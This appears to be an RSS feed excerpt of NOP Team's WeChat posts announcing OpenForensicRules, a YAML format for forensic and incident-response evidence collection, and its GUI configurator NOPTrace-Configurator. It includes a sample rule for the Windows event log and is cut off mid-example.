<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8e7a4a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhHNHic3NIy6P5T7vqLUHXtF5GIggfCdSXPHMIBowObDo2BRyglFNImWw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=64c3d6ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMh6EliaKg7dgwicibs2qJyUpX08icQ2oTK0k1icBdgV9ezakps0zIkn2ibomGA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c41b4afa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhibwnBBFzTZxiceyxVrWkeSHc0ERXPICVnnexuYiaQF4AB0GGQOzoaPNWA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=df45b3d0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMh0cDn3sv2iangVJsmooxKUGcAwPwlQ6pMaeN27JeyJbxHrDmN35yWRmA%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247502852">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b494f577&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NDkwMzAyMg%3D%3D%26mid%3D2247502852%26idx%3D1%26sn%3D3d3f29e38705cbb244c6774bf883997a">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 04 Jul 2025 20:03:00 +0800</pubDate>
    </item>
    <item>
      <title>NOPTrace-Configurator 发布！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502819&amp;idx=1&amp;sn=66c9909519c95e1655978d666aba562d</link>
      <description>愿心中的火永不熄灭！</description>
      <content:encoded><![CDATA[<p>
原创 <span>NOP Team</span> <span>2025-07-02 18:09</span> <span style="display: inline-block;">北京</span>
</p>

<p>愿心中的火永不熄灭！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2bfda7b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfZT30hrVgReGFibbSjwQRgQeRnJ8LZAEeicxImeXFbFypC99WI9wrDgJGy3TLR8LHvpIB1M52PkjicNzh23DpbKBQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p nodeleaf=""><mp-common-clmusic class="res_iframe clmusic_iframe js_uneditable custom_select_card" data-pluginname="insertaudio" type="1" music_name="第一天" albumurl="http://wx.y.gtimg.cn/music/photo_new/T002R500x500M0000019FoJV2aPJiz_5.jpg" singer="孙燕姿" count="0" is_vip="1" duration="253000" music_source="1" listenid="78238783168825121"></mp-common-clmusic></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;margin-top: -10px;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">简介</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">大家好，我们是 NOPTeam</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">2025年7月1日，我们推出了 OpenForensicRules 项目</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf=""><a href="https://github.com/Just-Hack-For-Fun/OpenForensicRules" target="_blank">https://github.com/Just-Hack-For-Fun/OpenForensicRules</a></span></p></blockquote><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这是一套标准化的数字取证与应急响应信息采集规则格式规范，安全开发者可以基于此规范开发数字取证和应急响应程序</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">今天，我们给大家带来了适用于此规范的配置助手 NOPTrace-Configurator ，项目地址如下:</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf=""><a href="https://github.com/Just-Hack-For-Fun/NOPTrace-Configurator" target="_blank">https://github.com/Just-Hack-For-Fun/NOPTrace-Configurator</a></span></p></blockquote><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">该程序使用 Electron-Vite + Vue3 开发，提供了 Windows、Linux、MacOS(Intel、Arm 通用程序) 版本，通过此配置器，可以直接图形化编写 OpenForensicRules 配置，并且提供格式校验等功能，帮助大家更高效完成工作。</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100019164" data-ratio="0.6444444444444445" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=05c4cddd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgReGFibbSjwQRgQeRnJ8LZAEe18UzOtEcmfL1ocPxhJ6jIgdtVkq8eaniaqWK8TXcSGUtCLheOnINnjw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">功能介绍</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">目前 NOPTrace-Configurator 处于 v1.0.6 版本，由于一些平台自动更新需要购买签名，故未设置自动更新，大家可以关注 NOPTrace-Configurator 的项目的 Release ，出现新版本后第一时间更新。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">具体功能介绍，我们录制了一个视频，放在了 B 站，欢迎大家浏览，地址如下:</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf=""><a href="https://www.bilibili.com/video/BV1tM3xzAEDg/?share_source=copy_web&amp;vd_source=5f773f5247669e13abbedc3bdcf945c0" target="_blank">https://www.bilibili.com/video/BV1tM3xzAEDg/?share_source=copy_web&amp;vd_source=5f773f5247669e13abbedc3bdcf945c0</a></span></p></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">往期文章</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502811&amp;idx=1&amp;sn=bdf64878bb87c64fb898881f5aadd82e&amp;scene=21#wechat_redirect" textvalue="OpenForensicRules 发布！" data-itemshowtype="0" linktype="text" data-linktype="2">OpenForensicRules 发布！</a></span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502770&amp;idx=1&amp;sn=85b3f9c13c78ee814042b282f6fe6e87&amp;scene=21#wechat_redirect" textvalue="Linux 应急响应手册 v2.0.1 发布！(含目录)" data-itemshowtype="0" linktype="text" data-linktype="2">Linux 应急响应手册 v2.0.1 发布！(含目录)</a></span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502032&amp;idx=1&amp;sn=e5e04054bdafadaf34e82f643294f80f&amp;scene=21#wechat_redirect" textvalue="Windows 应急响应手册v1.2 【重要更新】" data-itemshowtype="0" linktype="text" data-linktype="2">Windows 应急响应手册v1.2 【重要更新】</a></span></p><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><br/></span></p></li></ul></div><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="NOP Team" data-alias="yidalidemao" data-from="0" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/fZT30hrVgRftxytNjJnL5eOVg23jso0f1Xjf2t8ibBgUvibZjvSkOxsQdP2trmzlpmwBIQU9CObUr93c6p1qNHmg/0?wx_fmt=png" data-signature="有态度，不苟同    No System Is Safe！" data-id="MzU1NDkwMzAyMg==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=52220a0c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgReGFibbSjwQRgQeRnJ8LZAEe18UzOtEcmfL1ocPxhJ6jIgdtVkq8eaniaqWK8TXcSGUtCLheOnINnjw%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247502819">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f0547596&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NDkwMzAyMg%3D%3D%26mid%3D2247502819%26idx%3D1%26sn%3D66c9909519c95e1655978d666aba562d">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 02 Jul 2025 18:09:00 +0800</pubDate>
    </item>
    <item>
      <title>OpenForensicRules 发布！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502811&amp;idx=1&amp;sn=bdf64878bb87c64fb898881f5aadd82e</link>
      <description>愿心中的火永不熄灭！</description>
      <content:encoded><![CDATA[<p>
原创 <span>NOP Team</span> <span>2025-07-01 17:30</span> <span style="display: inline-block;">北京</span>
</p>

<p>愿心中的火永不熄灭！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=aed6e775&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfZT30hrVgRdjkL336vU3etI8qUOeoqMaCufI1Cml5NMhhVoobcqXUFIT0klNWowZicZeCzxvhkWxycUecTothjA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p nodeleaf=""><mp-common-clmusic class="res_iframe clmusic_iframe js_uneditable custom_select_card" data-pluginname="insertaudio" type="1" music_name="歌唱祖国" albumurl="http://wx.y.gtimg.cn/music/photo_new/T002R500x500M0000012oEyx0gk07A_2.jpg" singer="东方红合唱队" count="0" is_vip="0" duration="188000" music_source="1" listenid="78224090708215296"></mp-common-clmusic></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;margin-top: -10px;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x00 简介</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">大家好，我们是 NOPTeam</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">每年到了这个时间，都会有一批新的朋友关注我们的公众号。我推测，这可能是因为大家阅读了我们编写的两本应急响应手册，希望这些书籍能够对您的实际工作有所帮助</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在日常的安全运营或安全运维过程中，各类安全平台不断协同联动，整体运行看似和谐有序。然而，一旦发生真实的攻击事件，往往会出现一些非常规、意料之外的情况。下面，我将举几个典型案例加以说明：</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">1. 受害方已将重要服务器重置</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">相信经常参与应急响应的同仁都遇到过类似情况。受害单位为了降低业务中断带来的影响，通常选择优先重装系统。业务需求优先，这样的决策无可厚非，大多是权衡利弊后的结果。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">2. 要求在两天内完成处置，之后须恢复服务</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">此类需求在实际工作中也十分常见。无论系统规模多大，留给应急处置的时间往往十分有限，能够配合检查的人员也非常有限。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">3. 应急响应人员到场前，关键线索已被污染</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">此类情况几乎是所有应急响应人员都会遇到，甚至部分应急响应人员对此并未充分意识到。在与攻击者对抗的过程中，应急响应人员本就处于劣势，而最为宝贵的痕迹信息很可能在内部提前排查或正常业务操作中被覆盖、破坏。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x01 解决方案</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">不理想的处置环境在一定程度上会降低应急响应人员的责任，但同时也容易影响其积极性，从而给整个行动带来消极影响。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">接下来，我们重新审视上述几个典型问题：</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">1. 受害方已将重要服务器重置</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">想尽快恢复系统的心情我能理解，但应该也不是一分钟也不能等，但是要把受害系统硬盘以及内存全部备份一份给应急人员排查原因，那对不起，真等不了</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">2. 要求在两天内完成处置，之后须恢复服务</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">受害单位只能提供两天时间进行处置，但有时单一系统的排查就可能耗时半天至一天。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">无奈之下，只能临时增加人手参与处置。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">然而，受害单位能够配合的人员数量有限，且很多时候新增人员仅能参与远程协作，无法到达现场。如何确保每增加一位应急响应人员，都能切实提升处置效率？如何实现现场与远程的高效协同？这些都是亟待解决的问题。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">3. 应急响应人员到场前，关键线索已被污染</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">首先需要排除业务系统自身覆盖数据的情况。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">许多单位在确认存在攻击行为后，第一时间便着手排查攻击路径，而往往忽略了证据的及时保存。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这种做法极易导致关键信息的丢失，也不利于后续的溯源和责任认定。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这正是问题的核心所在。</span></p><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">我们常常因为面对结果，而忘了去思考原因</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">我认为，这些问题都指向了一个核心解决方案——数字取证，</span><strong style="font-weight: bold;color: black;"><span leaf="">而且是针对应急响应场景的数字取证</span></strong><span leaf="">，而非传统意义上的广义电子取证。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">让 DF 和 IR 以合适的形式结合在一起，变成真正的 </span><strong style="font-weight: bold;color: black;"><span leaf="">DFIR</span></strong><span leaf=""> (</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Digital Forensics and Incident Response</span></code><span leaf="">)</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">我们希望 **针对应急响应场景的取证 **成为各单位确定发生安全事件后要做的第一件事情。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">为此，我们基于 <a href="https://github.com/ForensicArtifacts/artifacts" target="_blank">https://github.com/ForensicArtifacts/artifacts</a> 项目，进行了有针对性的优化与完善，推出了一套标准化的数字取证与应急响应信息采集规则格式规范——</span><strong style="font-weight: bold;color: black;"><span leaf="">OpenForensicRules</span></strong><span leaf="">。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">目前，该规范尚处于 v0.0.1 版本阶段。欢迎各界同仁根据实际需求，积极提出优化建议，共同完善并最终形成一套成熟的行业规则。我们也期待，未来能够有基于该规范的数字取证与应急响应工具或产品，为遭遇攻击事件的受害单位，提供切实有效的解决方案。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">当然，这类规则也很适合红队用于收集现有成果，建议在法律允许范围内使用</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">项目地址： <a href="https://github.com/Just-Hack-For-Fun/OpenForensicRules" target="_blank">https://github.com/Just-Hack-For-Fun/OpenForensicRules</a></span></p></blockquote><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span><span leaf="">OpenForensicRules: 数字取证信息采集规则格式规范</span></h1><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">1. 简介</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">ForensicArtifacts 是一套标准化的数字取证与应急响应信息采集规则格式规范。它旨在提供一个通用的配置框架，使取证专业人员能够：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">定义可跨平台复用的取证工件采集规则</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">在不同的取证工具和框架中使用相同的规则集</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">构建和分享标准化的证据采集方法</span></p></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">本项目受到 ForensicArtifacts/artifacts 项目的启发，并在其基础上进行了改进和扩展。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">2. 规则示例</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">规则使用 YAML 格式定义，每个配置的基本单元是一个 Artifact。以下是两个简单示例：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WindowsSystemEventLogEvtx&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows System Event log for Vista or later systems.&#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;</span><span leaf=""><br/></span><span leaf="">author: &#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">ForensicArtifacts&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FILE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">[&#39;%%environ_systemroot%%\System32\winevt\Logs\System.evtx&#39;]</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">urls:</span></span><span style="color: #98c379;line-height: 26px;"><span 